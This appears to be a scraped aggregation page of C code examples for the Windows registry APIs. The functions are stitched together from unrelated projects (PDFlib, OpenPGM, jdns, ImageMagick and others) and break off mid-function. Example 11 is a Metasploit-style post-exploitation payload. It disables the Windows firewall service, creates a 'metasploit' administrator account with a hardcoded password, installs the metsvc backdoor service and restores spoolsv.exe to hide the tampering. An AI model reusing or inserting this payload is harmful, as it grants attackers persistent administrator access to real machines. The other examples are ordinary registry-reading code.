    HKEY pNodeKey = NULL;
    char szEmpty[2] = "";

    if (!value)
    {
        value = szEmpty;
    }

    ceError = RegOpenServer(&hReg);
    BAIL_ON_CENTERIS_ERROR(ceError);

    ceError = RegOpenKeyExA(
                hReg,
                NULL,
                HKEY_THIS_MACHINE,
                0,
                KEY_ALL_ACCESS,
                &pRootKey);
    if (ceError)
    {
        DJ_LOG_ERROR( "Failed to open registry root key %s",HKEY_THIS_MACHINE);
        goto error;
    }

    ceError = RegOpenKeyExA(
                hReg,
                pRootKey,
                path,
                0,
                KEY_ALL_ACCESS,
                &pNodeKey);
    if (ceError)
    {
        DJ_LOG_ERROR( "Failed to open registry key %s\\%s",HKEY_THIS_MACHINE, path);
        goto error;
    }

    ceError = RegSetValueExA(
                hReg,
                pNodeKey,
                name,
                0,
                REG_SZ,
                (const BYTE*)value,
                (DWORD)strlen(value)+1);
    if (ceError)
    {
        DJ_LOG_ERROR( "Failed to set registry value %s with value %s", name, value);
        goto error;
    }


cleanup:

    if (hReg)
    {
        if (pNodeKey)
        {
            RegCloseKey(hReg, pNodeKey);
            pNodeKey = NULL;
        }

        if (pRootKey)
        {
            RegCloseKey(hReg, pRootKey);
            pRootKey = NULL;
        }

        RegCloseServer(hReg);
        hReg = NULL;
    }

    return(ceError);

error:
    goto cleanup;
}
Esempio n. 10
0
static void
pdf_read_resourcefile(PDF *p, const char *filename)
{
    pdc_file   *fp = NULL;
    char      **linelist;
    char       *line;
    char       *category = NULL;
    char       *uprfilename = NULL;
#if defined(AS400) || defined(WIN32)
#define BUFSIZE 2048
    char        buffer[BUFSIZE];
#ifdef WIN32
    char        regkey[128];
    HKEY        hKey = NULL;
    DWORD       size, lType;
#endif
#endif
    int         il, nlines = 0, nextcat, begin;

#ifdef WIN32

/* don't add patchlevel's to registry searchpath */
#define stringiz1(x)	#x
#define stringiz(x)	stringiz1(x)

#define PDFLIBKEY  "Software\\PDFlib\\PDFlib\\"

    strcpy(regkey, PDFLIBKEY);
    strcat(regkey, PDFLIB_VERSIONSTRING);

    /* process registry entries */
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, regkey, 0L,
        (REGSAM) KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS)
    {
        size = BUFSIZE - 2;
        if (RegQueryValueExA(hKey, "SearchPath", (LPDWORD) NULL,
                             &lType, (LPBYTE) buffer, &size)
            == ERROR_SUCCESS && *buffer)
        {
            char **pathlist;
            int ip, np;

            np = pdc_split_stringlist(p->pdc, buffer,
                                      ";", &pathlist);
            for (ip = 0; ip < np; ip++)
                pdf_add_resource(p, "SearchPath", pathlist[ip]);
            pdc_cleanup_stringlist(p->pdc, pathlist);
        }

        size = BUFSIZE - 2;
        if (RegQueryValueExA(hKey, "prefix", (LPDWORD) NULL,
                             &lType, (LPBYTE) buffer, &size)
            == ERROR_SUCCESS && *buffer)
        {
            /* '/' because of downward compatibility */
            if (p->prefix)
            {
                pdc_free(p->pdc, p->prefix);
                p->prefix = NULL;
            }
            p->prefix = pdc_strdup(p->pdc,
                            &buffer[buffer[0] == '/' ? 1 : 0]);
        }

        RegCloseKey(hKey);
    }
#endif  /* WIN32 */

#ifdef AS400
    strcpy (buffer, "/pdflib/");
    strcat (buffer, PDFLIB_VERSIONSTRING);
    il = (int) strlen(buffer);
    strcat (buffer, "/fonts");
    pdf_add_resource(p, "SearchPath", buffer);
    strcpy(&buffer[il], "/bind/data");
    pdf_add_resource(p, "SearchPath", buffer);
#endif  /* AS400 */

    /* searching for name of upr file */
    uprfilename = (char *)filename;
    if (!uprfilename || *uprfilename == '\0')
    {
        /* user-supplied upr file */
        uprfilename = pdc_getenv(RESOURCEFILE);
        if (!uprfilename || *uprfilename == '\0')
        {
            uprfilename = DEFAULTRESOURCEFILE;

            /* user-supplied upr file */
            fp = pdf_fopen(p, uprfilename, NULL, 0);
            if (fp == NULL)
            {
                uprfilename = NULL;
#ifdef WIN32
                /* process registry entries */
                if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, regkey, 0L,
                    (REGSAM) KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS)
                {
                    size = BUFSIZE - 2;
                    if (RegQueryValueExA(hKey, "resourcefile", (LPDWORD) NULL,
                                         &lType, (LPBYTE) buffer, &size)
                        == ERROR_SUCCESS && *buffer)
                    {
                        uprfilename = buffer;
                    }

                    RegCloseKey(hKey);
                }
#endif  /* WIN32 */
            }
        }

        if (!uprfilename || *uprfilename == '\0')
            return;

        if (p->resourcefilename)
        {
            pdc_free(p->pdc, p->resourcefilename);
            p->resourcefilename = NULL;
        }
        p->resourcefilename = pdc_strdup(p->pdc, uprfilename);
    }

    /* read upr file */
    if ((fp == NULL) && ((fp = pdf_fopen(p, uprfilename, "UPR ", 0)) == NULL))
	pdc_error(p->pdc, -1, 0, 0, 0, 0);

    nlines = pdc_read_textfile(p->pdc, fp, &linelist);
    pdc_fclose(fp);

    if (!nlines) return;

    /* Lines loop */
    begin = 1;
    nextcat = 0;
    for (il = 0; il < nlines; il++)
    {
        line = linelist[il];

        /* Next category */
        if (line[0] == '.' && strlen(line) == 1)
        {
            begin = 0;
            nextcat = 1;
            continue;
        }

        /* Skip category list */
        if (begin) continue;

        /* Prefiex or category expected */
        if (nextcat)
        {
            /* Directory prefix */
            if (line[0] == '/')
            {
                if (p->prefix)
                {
                    pdc_free(p->pdc, p->prefix);
                    p->prefix = NULL;
                }
                p->prefix = pdc_strdup(p->pdc, &line[1]);
                continue;
            }

            /* Ressource Category */
            category = line;
            nextcat = 0;
            continue;
        }

        /* Add resource */
        pdf_add_resource(p, category, line);
    }

    pdc_cleanup_stringlist(p->pdc, linelist);
}
Esempio n. 11
0
void start(){
	//fix wow32-64 fsredir
	PVOID OldValue;
	Wow64DisableWow64FsRedirectionFunc disableWow = (Wow64DisableWow64FsRedirectionFunc)GetProcAddress(
		GetModuleHandleA("kernel32"),"Wow64DisableWow64FsRedirection");
	if( disableWow )
		disableWow(&OldValue);
	char windowsPath[MAX_PATH];
	GetWindowsDirectoryA(windowsPath,MAX_PATH);
	SetCurrentDirectoryA(windowsPath);

	//turn off fw
	HKEY mkey;
	DWORD four = 4;
	RegOpenKeyExA(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\MpsSvc",
		0,KEY_SET_VALUE|KEY_WOW64_64KEY,&mkey);
	RegSetValueExA(mkey,"Start",0,REG_DWORD,(PBYTE)&four,sizeof(DWORD));
	RegCloseKey(mkey);

	//add user
	USER_INFO_1 userinfo;
	userinfo.usri1_name = L"metasploit";
	userinfo.usri1_password = L"[email protected]!123456";
	userinfo.usri1_priv = USER_PRIV_USER;
	userinfo.usri1_home_dir = NULL;
	userinfo.usri1_comment = L"";
	userinfo.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT | UF_DONT_EXPIRE_PASSWD;
	userinfo.usri1_script_path = NULL;
	DWORD res = NetUserAdd(NULL,1,(PBYTE)&userinfo,NULL);
	if(res == NERR_Success){
		LOCALGROUP_MEMBERS_INFO_3 lgmi3;
		lgmi3.lgrmi3_domainandname = userinfo.usri1_name;
		NetLocalGroupAddMembers(NULL,L"Administrators",3,(PBYTE)&lgmi3,1);
	}

	//start metsvc
	STARTUPINFOA strt;
	PROCESS_INFORMATION proci;
	for(int i = 0; i < sizeof(strt); i++)
		((char*)&strt)[i]=0;
	for(int i = 0; i < sizeof(proci); i++)
		((char*)&proci)[i]=0;
	if( disableWow )//if 64 bit
		CreateProcessA("SysWOW64\\metsvc.exe","metsvc.exe install-service",NULL,
			NULL,FALSE,CREATE_NO_WINDOW,NULL,NULL,&strt,&proci);
	else
		CreateProcessA("System32\\metsvc.exe","metsvc.exe install-service",NULL,
			NULL,FALSE,CREATE_NO_WINDOW,NULL,NULL,&strt,&proci);

	//permissions, owner?
	DWORD sidSize = SECURITY_MAX_SID_SIZE;
	PSID ownersid = LocalAlloc(LMEM_FIXED,sidSize);
	CreateWellKnownSid(WinLocalSystemSid, NULL, ownersid, &sidSize);

	SetNamedSecurityInfoA("System32\\spoolsv.exe",SE_FILE_OBJECT,OWNER_SECURITY_INFORMATION,ownersid,NULL,NULL,NULL);
	SetNamedSecurityInfoA("System32\\spoolsv.bak.exe",SE_FILE_OBJECT,OWNER_SECURITY_INFORMATION,ownersid,NULL,NULL,NULL);

	//copy file back
	while(MoveFileA("System32\\spoolsv.bak.exe","System32\\spoolsv.exe") == 0){
		DeleteFileA("System32\\spoolsv.exe");
		Sleep(100);
	}

	//This can be added so fw disable takes effect immediately and this process exits
	/*/reboot
	HANDLE tokenh;
	OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&tokenh);
	TOKEN_PRIVILEGES tkp, otkp;
	DWORD oldsize;
	tkp.PrivilegeCount = 1;
	LookupPrivilegeValueA(NULL,"SeShutdownPrivilege",&(tkp.Privileges[0].Luid));
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	AdjustTokenPrivileges(tokenh,FALSE,&tkp,sizeof(tkp),&otkp,&oldsize);
	ExitWindowsEx(EWX_REBOOT | EWX_FORCE, SHTDN_REASON_MAJOR_OPERATINGSYSTEM |
		SHTDN_REASON_MINOR_UPGRADE | SHTDN_REASON_FLAG_PLANNED);//*/
}
Esempio n. 12
0
PGM_GNUC_INTERNAL
bool
pgm_time_init (
	pgm_error_t**	error
	)
{
	char	*pgm_timer;
	size_t	 envlen;
	errno_t	 err;

	if (pgm_atomic_exchange_and_add32 (&time_ref_count, 1) > 0)
		return TRUE;

/* user preferred time stamp function */
	err = pgm_dupenv_s (&pgm_timer, &envlen, "PGM_TIMER");
	if (0 != err || 0 == envlen) {
		pgm_timer = pgm_strdup (
/* default time stamp function */
#if defined(_WIN32)
			"MMTIME"
#else
			"GETTIMEOFDAY"
#endif
				);
	}

	pgm_time_since_epoch = pgm_time_conv;

	switch (pgm_timer[0]) {
#ifdef HAVE_FTIME
	case 'F':
		pgm_minor (_("Using ftime() timer."));
		pgm_time_update_now	= pgm_ftime_update;
		break;
#endif
#ifdef HAVE_CLOCK_GETTIME
	case 'C':
		pgm_minor (_("Using clock_gettime() timer."));
		pgm_time_update_now	= pgm_clock_update;
		break;
#endif
#ifdef HAVE_DEV_RTC
	case 'R':
		pgm_minor (_("Using /dev/rtc timer."));
		pgm_time_update_now	= pgm_rtc_update;
		pgm_time_since_epoch	= pgm_time_conv_from_reset;
		break;
#endif
#ifdef HAVE_RDTSC
	case 'T':
		pgm_minor (_("Using TSC timer."));
		pgm_time_update_now	= pgm_tsc_update;
		pgm_time_since_epoch	= pgm_time_conv_from_reset;
		break;
#endif
#ifdef HAVE_DEV_HPET
	case 'H':
		pgm_minor (_("Using HPET timer."));
		pgm_time_update_now	= pgm_hpet_update;
		pgm_time_since_epoch	= pgm_time_conv_from_reset;
		break;
#endif
#ifdef HAVE_GETTIMEOFDAY
	case 'G':
		pgm_minor (_("Using gettimeofday() timer."));
		pgm_time_update_now	= pgm_gettimeofday_update;
		break;
#endif
#ifdef _WIN32
	case 'M':
		pgm_minor (_("Using multi-media timer."));
		pgm_time_update_now	= pgm_mmtime_update;
		pgm_time_since_epoch	= pgm_time_conv_from_reset;
		break;

	case 'Q':
		pgm_minor (_("Using QueryPerformanceCounter() timer."));
		pgm_time_update_now	= pgm_queryperformancecounter_update;
		pgm_time_since_epoch	= pgm_time_conv_from_reset;
		break;
#endif

	default:
		pgm_set_error (error,
			       PGM_ERROR_DOMAIN_TIME,
			       PGM_ERROR_FAILED,
			       _("Unsupported time stamp function: PGM_TIMER=%s"),
			       pgm_timer);
		pgm_free (pgm_timer);
		goto err_cleanup;
	}

/* clean environment copy */
	pgm_free (pgm_timer);

#ifdef HAVE_DEV_RTC
	if (pgm_time_update_now == pgm_rtc_update)
	{
		pgm_error_t* sub_error = NULL;
		if (!pgm_rtc_init (&sub_error)) {
			pgm_propagate_error (error, sub_error);
			goto err_cleanup;
		}
	}
#endif
#ifdef _WIN32
	if (pgm_time_update_now == pgm_queryperformancecounter_update)
	{
/* MSDN statement: The frequency cannot change while the system is running.
 * http://msdn.microsoft.com/en-us/library/ms644905(v=vs.85).aspx
 */
		LARGE_INTEGER frequency;
		if (QueryPerformanceFrequency (&frequency))
		{
			tsc_khz = (uint_fast32_t)(frequency.QuadPart / 1000LL);
			pgm_minor (_("High-resolution performance counter frequency %lld Hz"),
				frequency.QuadPart);
		}
		else
		{
			const DWORD save_errno = GetLastError();
			char winstr[1024];
			pgm_set_error (error,
				       PGM_ERROR_DOMAIN_TIME,
				       PGM_ERROR_FAILED,
				       _("No supported high-resolution performance counter: %s"),
				       pgm_win_strerror (winstr, sizeof (winstr), save_errno));
			goto err_cleanup;
		}
		set_tsc_mul (tsc_khz);
	}
#endif /* _WIN32 */
#ifdef HAVE_RDTSC
	if (pgm_time_update_now == pgm_tsc_update)
	{
		char	*rdtsc_frequency;

#ifdef HAVE_PROC_CPUINFO
/* attempt to parse clock ticks from kernel
 */
		FILE	*fp = fopen ("/proc/cpuinfo", "r");
		if (fp)
		{
			char buffer[1024];
			while (!feof(fp) && fgets (buffer, sizeof(buffer), fp))
			{
				if (strstr (buffer, "cpu MHz")) {
					const char *p = strchr (buffer, ':');
					if (p) tsc_khz = atoi (p + 1) * 1000;
					break;
				}
			}
			fclose (fp);
		}
#elif defined(_WIN32)
/* core frequency HKLM/Hardware/Description/System/CentralProcessor/0/~Mhz
 */
		HKEY hKey;
		if (ERROR_SUCCESS == RegOpenKeyExA (HKEY_LOCAL_MACHINE,
					"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0",
					0,
					KEY_QUERY_VALUE,
					&hKey))
		{
			DWORD dwData = 0;
			DWORD dwDataSize = sizeof (dwData);
			if (ERROR_SUCCESS == RegQueryValueExA (hKey,
						"~MHz",
						NULL,
						NULL,
						(LPBYTE)&dwData,
						&dwDataSize))
			{
				tsc_khz = dwData * 1000;
				pgm_minor (_("Registry reports central processor frequency %u MHz"),
					(unsigned)dwData);
/* dump processor name for comparison aid of obtained frequency */
				char szProcessorBrandString[48];
				dwDataSize = sizeof (szProcessorBrandString);
				if (ERROR_SUCCESS == RegQueryValueExA (hKey,
							"ProcessorNameString",
							NULL,
							NULL,
							(LPBYTE)szProcessorBrandString,
							&dwDataSize))
				{
					pgm_minor (_("Processor Brand String \"%s\""), szProcessorBrandString);
				}
			}
			else
			{
				const DWORD save_errno = GetLastError();
				char winstr[1024];
				pgm_warn (_("Registry query on HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0\\~MHz failed: %s"),
					pgm_win_strerror (winstr, sizeof (winstr), save_errno));
			}
			RegCloseKey (hKey);
		}
#elif defined(__APPLE__)
/* nb: RDTSC is non-functional on Darwin */
		uint64_t cpufrequency;
		size_t len;
		len = sizeof (cpufrequency);
		if (0 == sysctlbyname ("hw.cpufrequency", &cpufrequency, &len, NULL, 0)) {
			tsc_khz = (uint_fast32_t)(cpufrequency / 1000);
		}
#elif defined(__FreeBSD__)
/* frequency in Mhz */
		unsigned long clockrate;
		size_t len;
		len = sizeof (clockrate);
		if (0 == sysctlbyname ("hw.clockrate", &clockrate, &len, NULL, 0)) {
			tsc_khz = (uint_fast32_t)(clockrate * 1000);
		}
#elif defined(__NetBSD__)
		uint64_t clockrate;
		size_t len;
		len = sizeof (clockrate);
		if (0 == sysctlbyname ("machdep.tsc_freq", &clockrate, &len, NULL, 0)) {
			tsc_khz = (uint_fast32_t)(clockrate / 1000);
		}
#elif defined(KSTAT_DATA_INT32)
/* ref: http://developers.sun.com/solaris/articles/kstatc.html */
		kstat_ctl_t* kc;
		kstat_t* ksp;
		kstat_named_t* kdata;
		if (NULL != (kc = kstat_open()) &&
			NULL != (ksp = kstat_lookup (kc, "cpu_info", -1, NULL)) &&
			KSTAT_TYPE_NAMED == ksp->ks_type &&
			-1 != kstat_read (kc, ksp, NULL) &&
			NULL != (kdata = kstat_data_lookup (ksp, "clock_MHz")) &&
			KSTAT_DATA_INT32 == kdata->data_type)
		{
			tsc_khz = (uint_fast32_t)(kdata->value.i32 * 1000);
			kstat_close (kc);
		}
#endif /* !_WIN32 */

/* e.g. export RDTSC_FREQUENCY=3200.000000
 *
 * Value can be used to override kernel tick rate as well as internal calibration
 */
		err = pgm_dupenv_s (&rdtsc_frequency, &envlen, "RDTSC_FREQUENCY");
		if (0 == err && envlen > 0) {
			tsc_khz = atoi (rdtsc_frequency) * 1000;
			pgm_free (rdtsc_frequency);
		}

#ifndef _WIN32
/* calibrate */
		if (0 >= tsc_khz) {
			pgm_error_t* sub_error = NULL;
			if (!pgm_tsc_init (&sub_error)) {
				pgm_propagate_error (error, sub_error);
				goto err_cleanup;
			}
		}
#endif
		pgm_minor (_("TSC frequency set at %u KHz"), (unsigned)(tsc_khz));
		set_tsc_mul (tsc_khz);
	}
#endif /* HAVE_RDTSC */

#ifdef HAVE_DEV_HPET
	if (pgm_time_update_now == pgm_hpet_update)
	{
		pgm_error_t* sub_error = NULL;
		if (!pgm_hpet_init (&sub_error)) {
			pgm_propagate_error (error, sub_error);
			goto err_cleanup;
		}
	}
#endif

	pgm_time_update_now();

/* calculate relative time offset */
#if defined(HAVE_DEV_RTC) || defined(HAVE_RDTSC) || defined(HAVE_DEV_HPET) || defined(_WIN32)
	if (	0
#	ifdef HAVE_DEV_RTC
		|| pgm_time_update_now == pgm_rtc_update
#	endif
#	ifdef HAVE_RDTSC
		|| pgm_time_update_now == pgm_tsc_update
#	endif
#	ifdef HAVE_DEV_HPET
		|| pgm_time_update_now == pgm_hpet_update
#	endif
#	ifdef _WIN32
		|| pgm_time_update_now == pgm_mmtime_update
		|| pgm_time_update_now == pgm_queryperformancecounter_update
#	endif
	   )
	{
#	if defined( HAVE_GETTIMEOFDAY )
		rel_offset = pgm_gettimeofday_update() - pgm_time_update_now();
#	elif defined( HAVE_FTIME )
		rel_offset = pgm_ftime_update() - pgm_time_update_now();
#	else
#		error "gettimeofday() or ftime() required to calculate counter offset"
#	endif
	}
#else
	rel_offset = 0;
#endif

/* update Windows timer resolution to 1ms */
#ifdef _WIN32
	TIMECAPS tc;
	if (TIMERR_NOERROR == timeGetDevCaps (&tc, sizeof (TIMECAPS)))
	{
		wTimerRes = min (max (tc.wPeriodMin, 1 /* ms */), tc.wPeriodMax);
		timeBeginPeriod (wTimerRes);
		pgm_debug ("Set timer resolution to %ums.", wTimerRes);
	}
	else
	{
		pgm_warn (_("Unable to determine timer device resolution."));
	}
#endif

	return TRUE;
err_cleanup:
	pgm_atomic_dec32 (&time_ref_count);
	return FALSE;
}
Esempio n. 13
0
static jdns_dnsparams_t *dnsparams_get_winreg()
{
	int n;
	jdns_dnsparams_t *params;
	HKEY key;
	int ret;
	char sep;
	jdns_string_t *str_domain, *str_nameserver, *str_searchlist;
	jdns_stringlist_t *list_nameserver, *list_searchlist;

	sep = ' ';
	ret = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
		"System\\CurrentControlSet\\Services\\Tcpip\\Parameters",
		0, KEY_READ, &key);
	if(ret != ERROR_SUCCESS)
	{
		sep = ',';
		ret = RegOpenKeyExA(HKEY_LOCAL_MACHINE,
			"System\\CurrentControlSet\\Services\\VxD\\MSTCP",
			0, KEY_READ, &key);
		if(ret != ERROR_SUCCESS)
			return 0;
	}

	str_domain = reg_readString(key, "DhcpDomain");
	if(!str_domain)
		str_domain = reg_readString(key, "Domain");
	str_nameserver = reg_readString(key, "DhcpNameServer");
	if(!str_nameserver)
		str_nameserver = reg_readString(key, "NameServer");
	str_searchlist = reg_readString(key, "SearchList");

	RegCloseKey(key);

	list_nameserver = 0;
	if(str_nameserver)
	{
		list_nameserver = string_split(str_nameserver, sep);
		jdns_string_delete(str_nameserver);
	}
	list_searchlist = 0;
	if(str_searchlist)
	{
		// lowercase the string
		jdns_string_t *p = string_tolower(str_searchlist);
		jdns_string_delete(str_searchlist);
		str_searchlist = p;

		list_searchlist = string_split(str_searchlist, sep);
		jdns_string_delete(str_searchlist);
	}

	params = jdns_dnsparams_new();
	if(list_nameserver)
	{
		// qt seems to do a strange thing here by running each name
		//   server address through the q3dns setLabel function, and
		//   then pulls the result as a list of addresses.  i have
		//   no idea why they do this, or how one IP address would
		//   turn into anything else, let alone several addresses.
		// so, uh, we're not going to do that.
		for(n = 0; n < list_nameserver->count; ++n)
		{
			jdns_address_t *addr = jdns_address_new();
			if(jdns_address_set_cstr(addr, (char *)list_nameserver->item[n]->data))
				jdns_dnsparams_append_nameserver(params, addr, JDNS_UNICAST_PORT);
			jdns_address_delete(addr);
		}
		jdns_stringlist_delete(list_nameserver);
	}
	if(str_domain)
	{
		if(str_domain->size > 0)
			jdns_dnsparams_append_domain(params, str_domain);
		jdns_string_delete(str_domain);
	}
	if(list_searchlist)
	{
		for(n = 0; n < list_searchlist->count; ++n)
		{
			if(list_searchlist->item[n]->size > 0)
				jdns_dnsparams_append_domain(params, list_searchlist->item[n]);
		}
		jdns_stringlist_delete(list_searchlist);
	}

	return params;
}
Esempio n. 14
0
int main(int argc, char *argv[])
{
char data[256];
char key1[180]="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\SideBySide\\Installations\\x86_Microsoft.Tools.VisualCPlusPlus.Runtime-Libraries_6595b64144ccf1df_6.0.0.0_x-ww_ff9986d7\\Codebases\\OS";
char key2[90]= "software\\microsoft\\windows nt\\currentversion"; 
HKEY hkey;              // Handle to registry key
unsigned long datalen;  // data field length(in), data returned length(out) 
unsigned long datatype; // #defined in winnt.h (predefined types 0-11)
// Open the HKLM key, key1, from which we wish to get data
if (!RegOpenKeyExA(HKEY_LOCAL_MACHINE,
   key1,
   NULL,
   KEY_QUERY_VALUE, // Set up field value query activity
   &hkey) == ERROR_SUCCESS)
      {
      printf("Error opening HKLM subkey: %s\n",key1);
      return GetLastError();
      }
printf("\n");
// Datalen is an in/out field, so reset it for every query
// I've ignored displays in the event of an error ...
// The error is most likely to be a misspelled value field name
datalen = 255;
// Read the value for "prompt" via the handle 'hkey'
if (RegQueryValueExA(hkey,
    "prompt",
    NULL,
    &datatype,
    data,
    &datalen) == ERROR_SUCCESS)
    printf("Edition:\t%s\n",data);
// That's all for this key. Close it.
RegCloseKey(hkey);
// Open up the next key for reading
if (!RegOpenKeyExA(HKEY_LOCAL_MACHINE,
   key2,
   NULL,
   KEY_QUERY_VALUE,
   &hkey) == ERROR_SUCCESS)
      {
      printf("Error opening HKLM subkey: %s\n",key2);
      return GetLastError();
      }
datalen = 255;
if (RegQueryValueExA(hkey,
    "ProductId",
    NULL,
    &datatype,
    data,
    &datalen) == ERROR_SUCCESS)
    printf("Product Id:\t%s\n",data);
datalen = 255;
if (RegQueryValueExA(hkey,
    "productname",
    NULL,
    &datatype,
    data,
    &datalen) == ERROR_SUCCESS)
    printf("Product:\t%s\n",data);
datalen = 255;
if (RegQueryValueExA(hkey,
    "registeredowner",
    NULL,
    &datatype,
    data,
    &datalen) == ERROR_SUCCESS)
    printf("Reg Owner:\t%s\n",data);
datalen = 255;
if (RegQueryValueExA(hkey,
    "CurrentVersion",
    NULL,
    &datatype,
    data,
    &datalen) == ERROR_SUCCESS)
    printf("OS Version:\t%s\n",data);
datalen = 255;
if (RegQueryValueExA(hkey,
    "CurrentBuildNumber",
    NULL,
    &datatype,
    data,
    &datalen) == ERROR_SUCCESS)
    printf("Build #:\t%s\n",data);
datalen = 255;
if (RegQueryValueExA(hkey,
    "Buildlab",
    NULL,
    &datatype,
    data,
    &datalen) == ERROR_SUCCESS)
    printf("Build Label:\t%s\n",data);
datalen = 255;
if (RegQueryValueExA(hkey,
    "CSDVersion",
    NULL,
    &datatype,
    data,
    &datalen) == ERROR_SUCCESS)
    printf("Srvc Level:\t%s\n",data);
RegCloseKey(hkey);
return 0;
}
Esempio n. 15
0
/*
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%                                                                             %
%                                                                             %
%                                                                             %
+   N T G e t T y pe L i s t                                                  %
%                                                                             %
%                                                                             %
%                                                                             %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%
%  NTLoadTypeLists() loads a Windows TrueType fonts.
%
%  The format of the NTLoadTypeLists method is:
%
%      MagickBooleanType NTLoadTypeLists(SplayTreeInfo *type_list)
%
%  A description of each parameter follows:
%
%    o type_list: A linked list of fonts.
%
*/
MagickExport MagickBooleanType NTLoadTypeLists(SplayTreeInfo *type_list,
  ExceptionInfo *exception)
{
  HKEY
    reg_key = (HKEY) INVALID_HANDLE_VALUE;

  LONG
    res;


  int
    list_entries = 0;

  char
    buffer[MaxTextExtent],
    system_root[MaxTextExtent],
    font_root[MaxTextExtent];

  DWORD
    type,
    system_root_length;

  MagickBooleanType
    status;

  /*
    Try to find the right Windows*\CurrentVersion key, the SystemRoot and
    then the Fonts key
  */
  res = RegOpenKeyExA (HKEY_LOCAL_MACHINE,
    "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_READ, &reg_key);
  if (res == ERROR_SUCCESS) {
    system_root_length=sizeof(system_root)-1;
    res = RegQueryValueExA(reg_key,"SystemRoot",NULL, &type,
      (BYTE*) system_root, &system_root_length);
  }
  if (res != ERROR_SUCCESS) {
    res = RegOpenKeyExA (HKEY_LOCAL_MACHINE,
      "SOFTWARE\\Microsoft\\Windows\\CurrentVersion", 0, KEY_READ, &reg_key);
    if (res == ERROR_SUCCESS) {
      system_root_length=sizeof(system_root)-1;
      res = RegQueryValueExA(reg_key,"SystemRoot",NULL, &type,
        (BYTE*)system_root, &system_root_length);
    }
  }
  if (res == ERROR_SUCCESS)
    res = RegOpenKeyExA (reg_key, "Fonts",0, KEY_READ, &reg_key);
  if (res != ERROR_SUCCESS)
    return(MagickFalse);
  *font_root='\0';
  (void) CopyMagickString(buffer,system_root,MaxTextExtent);
  (void) ConcatenateMagickString(buffer,"\\fonts\\arial.ttf",MaxTextExtent);
  if (IsPathAccessible(buffer) != MagickFalse)
    {
      (void) CopyMagickString(font_root,system_root,MaxTextExtent);
      (void) ConcatenateMagickString(font_root,"\\fonts\\",MaxTextExtent);
    }
  else
    {
      (void) CopyMagickString(font_root,system_root,MaxTextExtent);
      (void) ConcatenateMagickString(font_root,"\\",MaxTextExtent);
    }

  {
    TypeInfo
      *type_info;

    DWORD
      registry_index = 0,
      type,
      value_data_size,
      value_name_length;

    char
      value_data[MaxTextExtent],
      value_name[MaxTextExtent];

    res = ERROR_SUCCESS;

    while (res != ERROR_NO_MORE_ITEMS)
      {
        char
          *family_extent,
          token[MaxTextExtent],
          *pos,
          *q;

        value_name_length = sizeof(value_name) - 1;
        value_data_size = sizeof(value_data) - 1;
        res = RegEnumValueA ( reg_key, registry_index, value_name,
          &value_name_length, 0, &type, (BYTE*)value_data, &value_data_size);
        registry_index++;
        if (res != ERROR_SUCCESS)
          continue;
        if ( (pos = strstr(value_name, " (TrueType)")) == (char*) NULL )
          continue;
        *pos='\0'; /* Remove (TrueType) from string */

        type_info=(TypeInfo *) AcquireMagickMemory(sizeof(*type_info));
        if (type_info == (TypeInfo *) NULL)
          ThrowFatalException(ResourceLimitFatalError,"MemoryAllocationFailed");
        (void) ResetMagickMemory(type_info,0,sizeof(TypeInfo));

        type_info->path=ConstantString("Windows Fonts");
        type_info->signature=MagickSignature;

        /* Name */
        (void) CopyMagickString(buffer,value_name,MaxTextExtent);
        for(pos = buffer; *pos != 0 ; pos++)
          if (*pos == ' ')
            *pos = '-';
        type_info->name=ConstantString(buffer);

        /* Fullname */
        type_info->description=ConstantString(value_name);

        /* Format */
        type_info->format=ConstantString("truetype");

        /* Glyphs */
        if (strchr(value_data,'\\') != (char *) NULL)
          (void) CopyMagickString(buffer,value_data,MaxTextExtent);
        else
          {
            (void) CopyMagickString(buffer,font_root,MaxTextExtent);
            (void) ConcatenateMagickString(buffer,value_data,MaxTextExtent);
          }

        LocaleLower(buffer);
        type_info->glyphs=ConstantString(buffer);

        type_info->stretch=NormalStretch;
        type_info->style=NormalStyle;
        type_info->weight=400;

        /* Some fonts are known to require special encodings */
        if ( (LocaleCompare(type_info->name, "Symbol") == 0 ) ||
             (LocaleCompare(type_info->name, "Wingdings") == 0 ) ||
             (LocaleCompare(type_info->name, "Wingdings-2") == 0 ) ||
             (LocaleCompare(type_info->name, "Wingdings-3") == 0 ) )
          type_info->encoding=ConstantString("AppleRoman");

        family_extent=value_name;

        for (q=value_name; *q != '\0'; )
          {
            GetMagickToken(q,(const char **) &q,token);
            if (*token == '\0')
              break;

            if (LocaleCompare(token,"Italic") == 0)
              {
                type_info->style=ItalicStyle;
              }

            else if (LocaleCompare(token,"Oblique") == 0)
              {
                type_info->style=ObliqueStyle;
              }

            else if (LocaleCompare(token,"Bold") == 0)
              {
                type_info->weight=700;
              }

            else if (LocaleCompare(token,"Thin") == 0)
              {
                type_info->weight=100;
              }

            else if ( (LocaleCompare(token,"ExtraLight") == 0) ||
                      (LocaleCompare(token,"UltraLight") == 0) )
              {
                type_info->weight=200;
              }

            else if (LocaleCompare(token,"Light") == 0)
              {
                type_info->weight=300;
              }

            else if ( (LocaleCompare(token,"Normal") == 0) ||
                      (LocaleCompare(token,"Regular") == 0) )
              {
                type_info->weight=400;
              }

            else if (LocaleCompare(token,"Medium") == 0)
              {
                type_info->weight=500;
              }

            else if ( (LocaleCompare(token,"SemiBold") == 0) ||
                      (LocaleCompare(token,"DemiBold") == 0) )
              {
                type_info->weight=600;
              }

            else if ( (LocaleCompare(token,"ExtraBold") == 0) ||
